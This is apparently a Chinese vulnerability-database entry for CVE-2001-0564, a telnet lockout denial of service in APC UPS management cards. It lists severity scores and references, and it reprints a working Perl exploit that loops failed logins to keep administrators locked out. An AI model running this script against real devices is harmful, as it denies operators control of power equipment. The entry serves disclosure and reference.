CVE-2001-0564
CVSS5.0
发布时间 :2001-08-22 00:00:00
修订时间 :2008-09-10 15:08:25
NMCOE    

[原文]APC Web/SNMP Management Card prior to Firmware 310 only supports one telnet connection, which allows a remote attacker to create a denial of service via repeated failed logon attempts which temporarily locks the card.


[CNNVD]APC Telnet管理服务拒绝漏洞(CNNVD-200108-111)

        APC Web/SNMP管理卡Firmware 310之前版本只支持一个远程登录连接。远程攻击者可以借助重复失败登录尝试而临时锁卡造成服务拒绝。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0564
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0564
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200108-111
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/bugtraq/2001-02/0436.html
(VENDOR_ADVISORY)  BUGTRAQ  20010225 APC web/snmp/telnet management card dos
http://xforce.iss.net/static/6199.php
(UNKNOWN)  XF  apc-telnet-dos(6199)
http://www.securityfocus.com/bid/2430
(UNKNOWN)  BID  2430
ftp://ftp.apcftp.com/hardware/webcard/firmware/sy/v310/install.txt
(UNKNOWN)  MISC  ftp://ftp.apcftp.com/hardware/webcard/firmware/sy/v310/install.txt

- 漏洞信息

APC Telnet管理服务拒绝漏洞
中危 设计错误
2001-08-22 00:00:00 2005-08-22 00:00:00
远程  
        APC Web/SNMP管理卡Firmware 310之前版本只支持一个远程登录连接。远程攻击者可以借助重复失败登录尝试而临时锁卡造成服务拒绝。
        

- 公告与补丁

        Updates available:
        APC WEB/SNMP Management Card (9606) Firmware 3.0
        

- 漏洞信息 (20654)

APC WEB/SNMP Management Card (9606) Firmware 3.0 Telnet Administration DoS (EDBID:20654)
hardware remote
2001-02-26 Verified
0 altomo
N/A [点击下载]
source: http://www.securityfocus.com/bid/2430/info

Symmetra is an Uninterruptable Power Supply manufactured by American Power Conversation Corporation (APC). Symmetra supports network options that allow a remote administrator to access the system via telnet, and gather information from the power supply via SNMP.

A problem with the network software used with the Symmetra can allow a denial of service to the system, thus preventing administrative access. This problem is due to the handling of the telnet protocol by the firmware of the power supply. The system does not support more than one telnet session at a time, and when it encounters three failed login attempts, discontinues access for a configurable period between 1 and 10 minutes.

Therefore, it is possible for a malicious user to launch an remote attack against the telnet service of the power supply, and prevent administrative access to the power supply for the duration of the attack. This vulnerability may affect other APC UPS products as well. 

#!/usr/bin/perl
#altomo@nudehackers.com
#apc management card dos

$user = "blacksun";
$time = "$ARGV[1]";

use IO::Socket;
$ip = "$ARGV[0]";
$port = "23";
if ($#ARGV<0) {
print " useage: $0 <hostname> <delay in seconds>\n";
exit();
}
$socket = IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>$ip,
PeerPort=>$port,);


print "Apc management card DoS\n";
print "altomo\@nudehackers.com\n";


sub dos() {
print "DoS started will attack every $time seconds\n";
print "Ctrl+C to exit\n";
print $socket "$user\r";
print $socket "$user\r";
print $socket "$user\r";
print $socket "$user\r";
print $socket "$user\r";
print $socket "$user\r";
print "\n";
close $socket;
sleep($time);          
&dos;

}
&dos;
#hong kong danger duo
		

- 漏洞信息

1768
APC Card Telnet Administration Lockout Remote DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

- 时间线

2001-02-26 Unknow
2001-02-26 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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